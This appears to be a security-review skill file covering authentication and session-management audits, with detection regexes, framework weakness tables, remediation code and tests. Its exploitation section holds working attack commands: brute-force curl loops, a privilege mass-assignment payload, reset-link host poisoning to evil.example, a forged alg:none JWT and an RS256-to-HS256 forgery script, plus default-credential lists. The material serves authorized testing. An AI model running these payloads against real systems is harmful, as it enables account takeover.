Imported from AS-FOSS/aegis-skills (
skills/code/authn-session/SKILL.md). Install upstream withnpx skills add AS-FOSS/aegis-skills --skill authn-session. Copyright stays with the author.
AuthN & Session Management Checks
Scope & Objectives
- Audit every path that establishes identity (login, register, SSO/OAuth callback), extends it (remember-me, refresh tokens), or re-establishes it (password reset, recovery).
- Verify credentials are checked against strong one-way hashes and that sessions/tokens are issued, rotated, validated, and invalidated correctly.
- Detect enumeration, brute-force enablement, default/seeded credentials, mass assignment at registration, MFA bypasses, and JWT algorithm/validation flaws.
- Out of scope (cross-references): throttling depth and API abuse metrics ->
api.md; object-level IDOR beyond reset-flow specifics ->authz.md; cookie attribute deep matrix ->config.md; hardcoded secret inventory ->secrets.md; redirect validation depth ->ssrf.md.
Prerequisites & Vocabulary
Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
- session: the server-side record plus browser cookie that keeps a user logged in after one successful login
- session fixation: tricking a victim into using a session identifier the attacker already knows
- credential stuffing: replaying username/password pairs stolen from other sites against this login
- JWT claim: a field inside a signed token stating something like "this is user 42"; every claim must be verified, not just read
- MFA: a second proof of identity beyond the password (app prompt, code, hardware key)
- enumeration: responses that reveal whether an account exists, letting attackers harvest usernames
- KDF: deliberately slow password-hashing that makes offline guessing expensive
- taint flow / source→sink: path untrusted data travels from entry point to dangerous function
- finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md
Mental Model
Authentication is a state machine; every transition must be guarded:
| Stage | Question the code must answer | Flaw class if wrong | Primary CWE |
|---|---|---|---|
| Credential verify | Is the password checked with a slow salted KDF? | Plaintext/fast-hash compare | CWE-521 |
| Attempt throttle | Are repeated failures bounded per account and per source? | Brute force / stuffing | CWE-307 |
| Identity issuance | Does successful login mint a NEW unpredictable identifier? | Fixation, predictable IDs | CWE-384 |
| Session lifetime | Do sessions expire server-side and die on logout/password change? | Never-expiring sessions | CWE-613 |
| Recovery | Can only the true owner reset via an unguessable expiring token? | Predictable/replayable reset | CWE-640 |
| Step-up | Are sensitive operations re-authenticated or MFA-gated? | MFA absent/bypassable | CWE-287 |
| Token trust | Are signature, algorithm, issuer, audience, expiry enforced? | alg:none, confusion, missing checks | CWE-287 |
| Registration | Can a caller self-assign privileged fields? | Mass assignment to admin | CWE-287 |
| Response parity | Do all auth failures look identical externally? | Enumeration | CWE-204 |
Rule of thumb: any handler reachable BEFORE authentication completes (login, register, forgot-password, OAuth callback, MFA challenge) is fully attacker-controlled input territory and receives the highest scrutiny.
What To Check
Login & credential verification
- Trace the login handler end-to-end: input -> lookup -> hash compare -> response. Flag branches where "user not found" and "wrong password" differ in status code, body text, body size, or work performed.
- Confirm failed attempts are counted server-side per account AND per source IP/device, persisted (DB/Redis), and enforced with lockout or exponential backoff.
- Search seeders/migrations/fixtures/factories for users created with known passwords; determine whether such accounts exist in production and whether their passwords were force-expired.
- Probe parameter pollution in login: duplicate
username/emailkeys across query, body, and array syntax (user[]=a&user[]=b) reaching lookups that pick first-or-last inconsistently. - On register/signup, diff accepted request body keys against ORM mass-assignment allowlists (
$fillable,fields, serializerfields,StrongParameters); flagrole,is_admin,admin,permissions,user_typesourced from client input. - Check HTTP Basic usage: credentials from string literals, committed
.htpasswd, or default env fallbacks.
Password handling
- Identify the exact verification primitive. Accept only Argon2id, bcrypt cost >= 12, scrypt, PBKDF2-HMAC-SHA256 >= 600k iterations. Flag md5/sha1/sha256-single-pass, unsalted digests, reversible encryption, custom XOR.
- Read the policy enforcement point (validator class/regex/minLength); flag absence, min < 8 with no composition, or denylists rejecting only literal passwords.
- Note stuffing indicators for report context: no lockout + generic failure + endpoint accepting many encodings; cross-ref API module for throttle depth.
- Confirm comparison uses the KDF library's constant-time verifier (
bcrypt.compare,checkpw,PasswordEncoder.matches,password_verify), never==/===on digest strings.
Password reset & account recovery
- Locate token generation. Require CSPRNG >= 128 bits (
crypto.randomBytes(32),secrets.token_urlsafe(32),random_bytes(32),SecureRandom,SecureRandom.urlsafe_base64). Flag time/email/name-derived values,Math.random(),rand(),mt_rand(),uniqid(). - Confirm server-side expiry (<= 60 min), hashed storage, atomic single-use consumption, revocation on reissue and on password change.
- Trace link construction back to its host source; flag reliance on
Host/X-Forwarded-Host,req.headers.host,$_SERVER['HTTP_HOST'], Djangobuild_absolute_uri()bound to the request, Railsdefault_url_optionsmerged from request. - In reset-consume, verify ownership comes from the token record, not a client-supplied
uid/userId(flow-specific IDOR; deep matrix -> authz module). - Flag security questions as sole factor, plaintext answer storage, or guessable canonical answer sets.
- Grep log/telemetry calls for reset token values being logged.
MFA
- Establish whether MFA exists at all; its absence on admin panels, password/email change, payouts, exports, API-key creation is itself a finding.
- Trace TOTP provisioning/storage: secrets returned in API responses, embedded in pages/logs, stored plaintext; backup codes stored unsalted or logged.
- Hunt "verify later"/skippable flows:
mfa_pendingsession flags granting full access, alternate routes skipping the challenge, client-only gating. - Verify backup codes: CSPRNG generation, hashed storage, single-use consumption.
- Verify device-remember tokens: >= 128-bit random, bounded life, hashed server-side, revoked on credential change.
Session management
- Login must regenerate the session identifier; compare pre-auth vs post-auth cookies (procedure below).
- Logout must invalidate server-side (store delete / token denylist), not merely delete the client cookie.
- Password change/reset must invalidate all sessions, refresh tokens, and remember-me devices.
- Confirm idle and absolute timeouts enforced against the server-side store, not just cookie
maxAge. - Refresh tokens: rotation on every use, bounded lifetime, revocation list; flag eternal reusable refresh tokens.
- Check concurrent-session policy where the product claims single-session semantics.
Token-based auth (JWT/OAuth/API keys)
- Enumerate every jwt parse/verify call; require pinned algorithm allowlist excluding
none, key loaded from config/Keystore (never from token headers), assertedaud/iss, expiry enforced (noignoreExpiration). - Flag acceptance of tokens with zero signature verification (raw base64 decode -> trust claims).
- Flag header-driven key selection:
kidinto SQL/path traversal,jku/x5ufetched over network, inlinejwktrusted. - Inspect payloads for PII/secrets (password hashes, inner tokens, card data).
- Flag tokens in query strings (
?token=,access_token=) leaking into logs/Referer. - OAuth: flag implicit flow (
response_type=token), missing or non-comparedstate,redirect_uriprefix-matched or unmatched (depth -> ssrf module). - Static API keys shipped in frontend/mobile bundles performing per-user actions -> evidence here, inventory -> secrets module.
Remember-me / persistent login
- Require random >= 128-bit series/token pairs stored hashed; flag
md5(username),sha1(password_hash)derivatives, sequential integers. - Confirm independent invalidation on logout-all and password change.
Session storage backends
- Express default MemoryStore: dev-only; production requires connect-redis/connect-mongo/equivalent.
- Django signed-cookie sessions: payload readable by clients; flag sensitive objects in
request.session. - Flask/itsdangerous cookie sessions: weak/committed
SECRET_KEYenables forgery (key sourcing -> secrets module); PyJWT same trust model for HS256 shared secrets. - PHP:
session.save_pathpermissions;session_regenerate_id(true)on privilege change.
Where To Look
Path globs
| Glob pattern | What to find |
|---|---|
**/*login*, **/*signin*, **/auth/**, **/sessions/** |
Login/logout handlers, controllers |
**/passport*.{js,ts}, **/strategies/** |
passport.js verify callbacks |
**/*jwt*.{js,ts,py,java,kt,go,cs}, **/*token* |
Token issue/verify points |
**/seed*, **/seeds/**, **/fixtures/**, **/factories/**, **/db/migrate/**, **/migrations/** |
Seeded users, default passwords |
**/middleware/**, **/filters/**, **/interceptors/** |
Auth middlewares and their ordering |
**/{SecurityConfig,WebSecurityConfig,Startup,Program}.{java,kt,cs}, **/settings.py, **/config/** |
Framework auth/session configuration |
**/config/initializers/devise.rb, **/models/user.rb, **/models/user.py |
Devise config, has_secure_password |
**/*reset*, **/*forgot*, **/*recover*, **/*mfa*, **/*totp*, **/*otp* |
Reset and MFA flows |
templates/**/*.html, **/views/**, **/*.tsx |
Reset links/tokens rendered client-side |
Framework marker matrix
| Framework | Marker of weakness | Correct pattern |
|---|---|---|
| Express + passport.js | session({secret:'s'}) without store; manual user.password === req.body.password; no req.session.regenerate on login |
Redis/Mongo store; bcrypt.compare in strategy; req.session.regenerate() before setting user |
| jsonwebtoken (Node) | jwt.decode() feeding authorization; jwt.verify(t,key) with no options object |
jwt.verify(token, publicKey, {algorithms:['RS256'], audience, issuer}) |
| Django | MD5PasswordHasher active in PASSWORD_HASHERS; SESSION_COOKIE_SECURE = False; reset view trusting POSTed uid |
Argon2PasswordHasher first; DB/cache session engine; ownership resolved from token record only |
| Flask / Flask-Login | app.secret_key = 'dev'; roles trusted from session cookie |
32+ byte random secret from env/vault; roles loaded from DB per request |
| Spring Security (Java/Kotlin) | NoOpPasswordEncoder.getInstance(); disabled sessionFixation; csrf().disable() alongside cookie auth |
DelegatingPasswordEncoder + BCrypt(12); default changeSessionId fixation protection enabled |
| ASP.NET Core Identity | RequiredLength = 4; multi-year cookie ExpireTimeSpan; hand-rolled cookie auth replacing Identity |
Default password options; bounded ExpireTimeSpan; reviewed SlidingExpiration |
| Laravel (PHP) | Hash::make($pw, ['rounds' => 6]); short Str::random(n) reset tokens; $fillable containing role |
Default bcrypt (raise to 12); Str::random(40); $guarded = ['role','is_admin'] |
| Raw PHP sessions | md5($_POST['pw']) == $row['hash']; no session_regenerate_id after login |
password_verify() / password_hash(PASSWORD_DEFAULT); session_regenerate_id(true) |
| Rails (devise / has_secure_password) | plaintext column instead of has_secure_password; custom reset finder trusting params; naive remember token |
has_secure_password or Devise defaults (reset_password_within = 6.hours); generate_unique_secure_token |
| Go (gorilla/sessions, stdlib) | crypto/md5 on passwords; literal []byte("secret") CookieStore key; cookies without MaxAge/Secure |
bcrypt.GenerateFromPassword(pw, 12); 32-byte random key; full cookie attribute set |
| OAuth (any stack) | callback reads code without comparing state; response_type=token |
per-login server-stored state compared constant-time; authorization-code flow + PKCE |
Patterns & Signatures
All regexes are ripgrep-compatible (no lookarounds). Hits are leads requiring manual confirmation.
Weak or fast password hashing:
(hashlib\.(md5|sha1)\(|Digest::MD5|digest::md5|crypto\.createHash\(["'](md5|sha1)["']\)|hash\(["'](md5|sha1)["'],|(MD5|SHA1)PasswordHasher|NoOpPasswordEncoder|MessageDigest\.getInstance\("MD5"\)|password.*encrypt|encrypt.*password)
Low KDF cost / fast parameters (manual-check the numbers found):
(genSalt(Sync)?\(\s*([0-9]|1[01])\s*[,)]|BCryptPasswordEncoder\(\s*(\d|10|11)\s*\)|rounds\s*[:=]\s*([0-9]|10|11)\b|Cost\s*=\s*(\d|10|11)\b|pbkdf2:sha256:[1-5]?[0-9]{1,5}|iterations\s*[:=]\s*[1-5]?[0-9]{1,5}\b)
Default / seeded credentials:
(["'](admin|root|administrator|superuser|demo|test|sa)[\"']\s*[:,=]\s*["'](admin|admin123|root|toor|password|password1|Passw0rd!|123456|12345678|changeme|changeit|letmein|qwerty|secret)["'])
Enumeration-leaking messages:
(["'](User|Email|Account)[^"']{0,20}(not found|does not exist|unknown|no such)|invalid username|email not registered|no account (with|matches))
Weak reset-token generation:
(Math\.random\(\).{0,60}token|token.{0,60}Math\.random\(\)|uniqid\(|mt_rand\(|\brand\(\d|randint\(|Date\.now\(\)\.toString\(36\)|(md5|sha1)\((time|microtime|now|email)))
Reset-token lifecycle fields (presence audit; pair with manual expiry/single-use review):
(reset_password_token|password_reset_token|resetToken|resetRequestedAt|reset_sent_at|reset_expires|tokenExpiry|used_at)
JWT misuse:
(jwt\.decode\(|JWT\.decode\(|decode\(\s*(jwt|token)|algorithms?\s*[:=]\s*\[?\s*["']none["']|ignoreExpiration\s*:\s*true|ignoreNotBefore\s*:\s*true|"alg"\s*:\s*"[Nn]one")
Key-selection injection surface (kid/jku/x5u/jwk):
(header\.kid|\bkid\b\s*[:=]|header\.jku|x5u|header\.jwk|getPublicKey(kid|ById))
OAuth gaps:
(response_type=token|response_type["']?\s*[:=]\s*["']token|state\s*[:=]\s*(null|None|""|'')|oauth/callback|redirect_uri=)
Session misconfiguration:
(saveUninitialized\s*:\s*true|MemoryStore|maxAge\s*:\s*(365|30)\s*\*\s*24|SESSION_COOKIE_SECURE\s*=\s*False|cookie_secure\s*=\s*False|httponly\s*[:=]\s*[Ff]alse|secret_key\s*=\s*["'][^"']{0,20}["'])
Remember-me / persistent login:
(remember[_-]?me|RememberMe|auto_login|persistent_login|series:token|auth_token\s*[:=])
Tokens in URLs / basic auth embedded in code:
([?&](token|jwt|access_token|reset_password_token)=|Basic\s+[A-Za-z0-9+/=]{12,}|Authorization["']?\s*[:,=]\s*["']Basic )
MFA presence audit (absence of hits near sensitive routes is itself a finding):
(totp|mfa|two_factor|2fa|otp_secret|backup_code|recovery_code|mfa_required)
Taint Tracing Guidance
| Source (attacker-controlled) | Sink (security decision) | Flaw to confirm |
|---|---|---|
Login body username/email |
Response body/status branches | Enumeration (CWE-204) |
| Failed-attempt counter keyed on IP only | Lockout state | Distributed brute force survives (CWE-307) |
| Signup body -> ORM create/update | users.role / users.is_admin columns |
Mass assignment to admin (CWE-287) |
Math.random() / time-derived value |
Reset token persisted + emailed | Predictable recovery token (CWE-640) |
Host / X-Forwarded-Host header |
Email link builder | Reset-link host poisoning (CWE-640) |
Client-supplied uid in reset-consume |
Token ownership check | Cross-user reset (IDOR-in-reset) |
JWT header kid/jku/jwk/x5u |
Verification key selection | Attacker-signed tokens (log under CWE-287) |
Decoded JWT claims (role,sub) |
Authorization checks | Unverified-token trust (CWE-287) |
OAuth callback query (code,state) |
Session establishment | Login CSRF via missing state binding |
Weak/committed SECRET_KEY |
Flask/itsdangerous/JWT HS256 signing | Session/token forgery (cross-ref secrets module) |
Method: start from the route table (Express routers, Django urls.py, Rails routes.rb, Spring @RequestMapping, Go http.HandleFunc), classify every unauthenticated route, then follow arguments into the sinks above. For mass assignment, dump model allowlists ($fillable, fields, StrongParameters) and diff against signup controller inputs. For reset flows, walk generate -> persist -> email -> consume and annotate where attacker data can substitute for each stage.
Exploitation & Reproduction
Run only against systems you are authorized to test. Each procedure lists expected observable outcomes.
1. Username enumeration via response diffing
- Unknown user:
curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \ -X POST https://target/login -H 'Content-Type: application/json' \ -d '{"username":"definitely-not-a-user","password":"WrongPass1!"}' - Known/likely user (from seeds or signup):
curl -s -o /dev/null -w '%{http_code} %{size_download} %{time_total}\n' \ -X POST https://target/login -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"WrongPass1!"}' - Expected outcome if vulnerable: differing status (200 vs 401), body-size delta > ~50 bytes, or distinct messages ("No such user" vs "Invalid password"). Capture 3 samples per class into a diff table for the report.
2. Timing-based enumeration
- When messages match, run 10 requests per class recording
%{time_total}. - Expected outcome if vulnerable: known-user median consistently higher (KDF executed) vs unknown-user fast-path; stable gap across runs. Single-run jitter is not evidence; require repeated medians.
3. Missing rate limiting / lockout
- Fire 30 wrong-password attempts:
for i in $(seq 1 30); do curl -s -o /dev/null -w '%{http_code} ' \ -X POST https://target/login -H 'Content-Type: application/json' \ -d '{"username":"victim","password":"bad-'$i'"}'; done; echo - Expected outcome if vulnerable: uniform 401s, no 429/423, and the correct password still succeeds immediately afterwards. Depth of throttle tuning -> api module.
4. Default / seeded credentials
- Collect candidates from grep hits and README quickstarts:
admin:admin,admin:password,root:root, demo accounts. - Attempt each login. Expected outcome if vulnerable: success +
Set-Cookie; confirm elevated role via/api/me.
5. Mass assignment at registration
- Register normally; note your id from
/api/me. - Inject privilege fields:
Variants:curl -s -X POST https://target/api/register -H 'Content-Type: application/json' \ -d '{"email":"attacker@example.com","password":"Str0ngPass!xyz","role":"admin"}'{"isAdmin":true},{"user_type":0}, duplicate key"role":"user","role":"admin"(pollution), form-encodedrole=adminalongside JSON. - Expected outcome if vulnerable:
/api/meshowsrole:"admin"; a previously forbidden admin endpoint now returns data.
6. Password reset host-header poisoning
- Request reset with overridden host:
curl -s -X POST https://target/auth/forgot -H 'Host: evil.example' \ -H 'Content-Type: application/json' -d '{"email":"victim@corp.com"}' curl -s -X POST https://target/auth/forgot -H 'X-Forwarded-Host: evil.example' \ -H 'Content-Type: application/json' -d '{"email":"victim@corp.com"}' - Expected outcome if vulnerable: emailed link begins
https://evil.example/reset?.... Without inbox access, confirm statically that the link host derives from request headers.
7. Reset token replay / non-expiry
- Request two resets on an authorized account; use the FIRST token after the SECOND was issued.
- Consume a token successfully, then submit it again.
- Expected outcome if vulnerable: superseded token still accepted, or second acceptance succeeds. Absence of expiry/single-use columns in the migration is corroborating static evidence.
8. JWT alg:none swap
- Log in; capture
Authorization: Bearer <token>. - Forge with header
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0({"alg":"none","typ":"JWT"}), payloadeyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ({"sub":"1007","iat":1750000000,"role":"admin","scope":"profile"}), empty signature:FORGED='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMDA3IiwiaWF0IjoxNzUwMDAwMDAwLCJyb2xlIjoiYWRtaW4iLCJzY29wZSI6InByb2ZpbGUifQ.' curl -s https://target/api/admin/users -H "Authorization: Bearer $FORGED" - Retry with capital-N header
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0and with trailing-dot removed. - Expected outcome if vulnerable: 200 with protected data. A 401 means the library rejected
none; record as pass.
9. RS256 -> HS256 algorithm confusion
- Preconditions: server verifies with a public key obtainable by the attacker (JWKS endpoint, repo PEM).
- Sign original header/payload segments with HMAC-SHA256 keyed by the raw public-key PEM bytes:
TOKEN='<original RS256 token>' HDR=$(printf %s "$TOKEN" | cut -d. -f1); PL=$(printf %s "$TOKEN" | cut -d. -f2) SIG=$(printf '%s.%s' "$HDR" "$PL" | openssl dgst -binary -sha256 -mac HMAC \ -macopt key:"$(cat server_public.pem)" | base64 | tr '+/' '-_' | tr -d '=') FORGED="$HDR.$PL.$SIG" curl -s https://target/api/me -H "Authorization: Bearer $FORGED" - Expected outcome if vulnerable: 200 — verifier selected HS256 from the header and used the public key as HMAC secret.
10. Expiry / issuer / audience not validated
- Replay a token captured before its
exppassed (or shorten test window by requesting tokens with short ttl). - Replay a token minted for one audience (
web://client) against another service (api://orders). - Expected outcome if vulnerable: stale or cross-audience token accepted (200). Statically corroborate: verify call lacks
audience/issueroptions or setsignoreExpiration:true.
11. OAuth callback CSRF (missing state)
- Start an OAuth login; copy the provider redirect URL; remove the
stateparameter. - Complete the flow in a second browser session using only
https://target/auth/callback?code=<code>. - Expected outcome if vulnerable: callback accepts stateless code -> attacker binds their provider account to the victim's target session (login CSRF).
12. Session fixation sequence
- Anonymous visit, record cookie:
curl -si -c jar.txt https://target/ ; grep -i sid jar.txt - Authenticate reusing the same jar:
curl -si -b jar.txt -c jar.txt -X POST https://target/login \ -d 'username=u&password=p' >/dev/null; grep -i sid jar.txt - Expected outcome if secure: post-login session id DIFFERS from pre-auth id. Identical id = CWE-384: anyone who planted the pre-auth value owns the authenticated session.
13. Logout without server-side invalidation
- Log in, save cookie C1, then
curl -X POST https://target/logout -b C1. - Replay C1 against an authenticated endpoint:
curl -s -o /dev/null -w '%{http_code}\n' https://target/api/profile -b C1.jar - Expected outcome if vulnerable: 200 after logout. Repeat after password change to test CWE-620/CWE-613 combined.
14. MFA skip via direct route / "verify later"
- Submit correct password but stop before OTP entry; note the pending-state cookie.
- Immediately call a sensitive endpoint directly:
curl -s https://target/api/payments -b mfa_pending.jar - Expected outcome if vulnerable: data returned pre-MFA; client JS contains a skip branch unlocking navigation without server verification.
15. Cookie attribute inspection
curl -si https://target/login | grep -iE '^set-cookie.*(httponly|secure|samesite)'
Expected finding if weak: session cookie missing HttpOnly/Secure/SameSite, or SameSite=None without Secure. Deep matrix -> config module.
Static-only confirmation guidance
- With no runtime, grade from code: cite file:line for the verify call, quote the full login handler to show regeneration absence, cite token generator line, show middleware ordering proving sensitive routes mount outside
requireMfa. - Reproduce forgery offline: build the alg:none string locally and include it as evidence; phrase findings as "static confirmation; live acceptance untested".
- For enumeration, present both response-building code paths side-by-side in place of measured diffs.
Remediation
Login throttling & enumeration
- Uniform failure: always run the hash comparison (dummy compare when user missing); return identical status, body shape, and delay.
- Throttle per-account and per-source with exponential backoff; use maintained libraries (
express-rate-limit+rate-limiter-flexible, Djangodjango-axes, ASP.NETLockoutOptions.Enabled = true, Spring customAuthenticationFailureHandler+ counters). Tuning depth -> api module.
// VULNERABLE
const u = await db.users.findByEmail(email);
if (!u) return res.status(404).json({error: 'User not found'});
if (!(await bcrypt.compare(pw, u.password))) return res.status(401).json({error: 'Wrong password'});
// FIXED
const DUMMY_HASH = await bcrypt.hash('timing-equalizer', 12); // computed once at boot
const u = await db.users.findByEmail(email);
const ok = u ? await bcrypt.compare(pw, u.password) : await bcrypt.compare(pw, DUMMY_HASH);
if (!u || !ok) return res.status(401).json({error: 'Invalid credentials'});
Password storage
| Algorithm | Minimum parameters (OWASP Password Storage guidance) |
|---|---|
| Argon2id | memory 19 MiB (19456 KiB), iterations 2, parallelism 1; scale up hardware permitting |
| bcrypt | cost 12+ (~250 ms on server-class core) |
| scrypt | N=2^17, r=8, p=1 |
| PBKDF2-HMAC-SHA256 | 600,000 iterations |
// VULNERABLE
const hash = crypto.createHash('sha256').update(password).digest('hex');
// FIXED
const argon2 = require('argon2');
const hash = await argon2.hash(password, {type: argon2.argon2id, memoryCost: 19456, timeCost: 2, parallelism: 1});
Enforce server-side policy: length >= 12 preferred (or >= 8 with composition), breached-password denylist, no forced periodic rotation. Migrate by wrapping legacy hashes and rehashing on next successful login.
Breached-password screening concretely: query the Have I Been Pwned k-anonymity range API (GET https://api.pwnedpasswords.com/range/{first 5 chars of SHA-1}) server-side at registration and password change, comparing the full SHA-1 of the candidate; block matches, never send the full password off-host. Allow paste into password fields — blocking paste pushes users toward weaker memorable passwords and breaks password managers. Give users visibility into their active sessions with per-session terminate buttons; unexplained sessions are both a user-facing control and a detection signal.
Session regeneration per stack
| Stack | Call at login / privilege change |
|---|---|
| Express | await new Promise(r => req.session.regenerate(r)) then set user claims |
| Django | request.session.cycle_key() before setting auth state |
| PHP | session_regenerate_id(true); |
| Rails / Devise | reset_session then re-establish (Devise does this inside sign_in) |
| Spring Security | default session-fixation protection calls changeSessionId(); keep it enabled, do not disable |
| Go (gorilla/sessions) | no built-in rotate: destroy old session record, create fresh one, copy minimal claims |
| ASP.NET Core | SignInManager.PasswordSignInAsync rotates the cookie; for custom auth issue a new ticket and clear the old cookie |
Logout must be server-authoritative: delete store entry (req.session.destroy(cb), session_destroy(), request.getSession().invalidate()), clear cookie, and on password change/reset invalidate every session, refresh token, remember-me device, and outstanding reset token.
Password reset tokens
// VULNERABLE
const token = Math.random().toString(36).slice(2) + Date.now();
// FIXED
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('base64url'); // 256-bit, emailed once
const tokenHash = crypto.createHash('sha256').update(token).digest(); // store hash, never raw token
await db.query(
'UPDATE users SET reset_token_hash=?, reset_expires=NOW()+INTERVAL 15 MINUTE WHERE email=?',
[tokenHash, email]);
// consumption: single atomic statement guarantees single-use + expiry
// UPDATE users SET reset_token_hash=NULL, reset_expires=NULL, password_version=password_version+1
// WHERE email=? AND reset_token_hash=? AND reset_expires > NOW()
Build links from a server-configured base URL (APP_BASE_URL), never request headers. Rate-limit issuance and notify users of resets. Ownership in the consume step must resolve through the token record only.
MFA enforcement point
// FIXED: gate AFTER credential success, BEFORE any privileged route mounts
function requireMfa(req, res, next) {
if (!req.session.userId) return res.redirect('/login');
if (req.session.mfaPending && !req.session.mfaVerified) return res.redirect('/mfa/challenge');
next();
}
router.use(requireMfa);
router.post('/payments', handlers.payments);
router.get('/admin', handlers.admin);
Encrypt TOTP secrets at rest; hash backup codes with the password KDF and mark used codes atomically; device-trust cookies need >= 128-bit CSPRNG values, hashed server-side, <= 30-day life, revoked on password change. Enforce MFA server-side on admin panels, credential changes, payouts/exports, API-key creation.
JWT validation (pinned algorithms + audience)
// VULNERABLE
const payload = jwt.decode(token); // zero verification
// also bad:
jwt.verify(token, secret, {ignoreExpiration: true});
jwt.verify(token, keyFromTokenHeader.kid); // attacker-selected key
// FIXED
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // pinned allowlist; 'none' can never pass
audience: 'api://orders',
issuer: 'https://idp.corp.example',
clockTolerance: 30,
});
if (!payload.scope || !payload.scope.includes('orders:read')) throw new ForbiddenError();
Python equivalent: pyjwt.decode(token, key, algorithms=['RS256'], audience='api://orders', issuer='https://idp.corp.example'). Never fetch keys from token-supplied URLs; resolve kid against a local JWKS allowlist only.
OAuth & refresh tokens
- Authorization-code flow with PKCE; generate per-login random
state, verify equality before exchangingcode; exact-matchredirect_uriregistration. - Refresh tokens: rotate on each use (invalidate predecessor), detect reuse-of-rotated-token as theft signal, bound absolute lifetime, revoke on logout/password change.
- Reject
response_type=tokenimplicit flows for new integrations.
Defense-in-depth
- Add login anomaly alerts (velocity per account/IP) to monitoring, not just blocking.
- Re-authenticate (password or MFA step-up) immediately before password/email change and payout actions.
- Sign and short-life all bearer tokens; keep authorization decisions out of client-trusted claims without server-side re-check.
- Documented runbook: force-logout-all endpoint per user for incident response.
- Passwordless/FIDO2 hardware-key adoption: point factor-upgrade migration guidance at WebAuthn/passkey rollout paths (phishing-resistant, defeats AiTM kit collection).
- OAuth-consent-abuse and stolen-OAuth-token detection techniques live in the SSO module (oauth-sso) — cross-ref rather than duplicating here.
Verification & Validation
GIVEN/WHEN/THEN tests
- GIVEN lockout threshold 5 WHEN 6 wrong passwords THEN 429/locked response AND GIVEN correct password during lockout THEN access is still denied (negative test).
- GIVEN valid credentials WHEN login THEN 200, new session id != pre-auth id, old pre-auth id rejected afterwards.
- GIVEN unknown username vs known username WHEN same wrong password THEN identical status code, body length within noise, comparable latency.
- GIVEN forged alg:none token THEN 401/invalid AND GIVEN legitimate RS256 token THEN 200 (regression guard that hardening did not break valid auth).
- GIVEN expired token or cross-audience token THEN rejected; GIVEN fresh correctly-audience token THEN accepted.
- GIVEN consumed reset token WHEN replayed THEN rejected; GIVEN superseded token (after newer reset request) THEN rejected; GIVEN password just changed WHEN prior session cookie replayed THEN 401.
- GIVEN MFA-pending session WHEN calling sensitive route THEN challenge/redirect, never data.
- GIVEN remember-me token WHEN reviewed statically THEN >= 128-bit CSPRNG origin confirmed and stored only as hash.
Regression pseudocode
test_login_uniformity():
r1 = POST /login {user:"ghost-user", pass:"Xy9!"}; r2 = POST /login {user:"admin", pass:"Xy9!"}
assert r1.status == r2.status and abs(len(r1.body)-len(r2.body)) < 20
test_session_rotation():
sid1 = GET / -> Set-Cookie SID; sid2 = POST /login(cookie=sid1)
assert sid1 != sid2 and GET /me with sid1 -> unauthenticated
test_jwt_negative_then_positive():
assert verify(forged_alg_none) raises InvalidAlgorithmError
assert verify(expired_token) raises ExpiredSignatureError
assert verify(valid_token) returns payload # negative-test regression
test_reset_single_use():
t = request_reset(); consume(t); assert consume(t) fails
Manual re-test checklist
- Re-run enumeration diff capture: statuses and sizes now match across user classes.
- Confirm Set-Cookie changes across login, logout, password change.
- Replay captured pre-fix forged JWTs; confirm rejection while a freshly issued token works.
- Request two resets; confirm older token dead; confirm link host is the configured domain even with spoofed Host header.
- Walk MFA-pending state directly into a protected route; confirm challenge enforced server-side.
Greps to rerun post-fix (expect no production hits)
rg -n "NoOpPasswordEncoder|MD5PasswordHasher|SHA1PasswordHasher" src/
rg -n "algorithms?\s*[:=]\s*\[?\s*[\"']none[\"']|ignoreExpiration\s*:\s*true" src/
rg -n "Math\.random\(\).{0,60}token|uniqid\(" src/
rg -n "\[\s*[\"'](role|is_admin)[\"']\s*,\s*[\"'](is_admin|role)[\"']\s*\]" app/ models/
rg -n "secret_key\s*=\s*[\"'][^\"']{0,20}[\"']" .
Severity Assessment
| Finding | CWE | Default rating | Example CVSS v3.1 vector |
|---|---|---|---|
| Auth bypass at login (alg:none, missing signature validation, logic bypass) | CWE-287 | Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) |
| Predictable / non-expiring / replayable reset token -> account takeover | CWE-640 | High-Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Session fixation | CWE-384 | High | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L |
| Missing rate limiting / lockout enabling stuffing | CWE-307 | Medium-High | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| Username/email enumeration | CWE-204 | Low-Medium | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3) |
| Sessions never expiring / logout not invalidating | CWE-613 | Medium-High | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Unverified password change (no current-password/MFA check) | CWE-620 | High | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Weak password policy / weak storage | CWE-521 | Medium-High | context-dependent; offline-crack exposure raises it |
| Hard-coded credentials reachable in prod | CWE-798 | Critical if privileged | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Missing MFA on sensitive operations | CWE-287 | Medium | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Rubric anchors:
- Auth-bypass-on-login of any kind = always Critical; do not discount for exploit complexity unless a second secret is genuinely required.
- Account takeover via recovery flaws = High minimum; Critical when unauthenticated, scalable, and silent (no victim notification).
- Enumeration alone = Low on small/internal user bases, Medium when combined with stuffing or on large public bases.
- Fixation = High when an attacker can realistically plant the identifier (subdomain injection, shared kiosk); otherwise Medium.
- Cookie attribute gaps alone = Low/Informational; escalate when combined with non-HTTPS or XSS presence (cross-ref config/xss modules).
Common False Positives
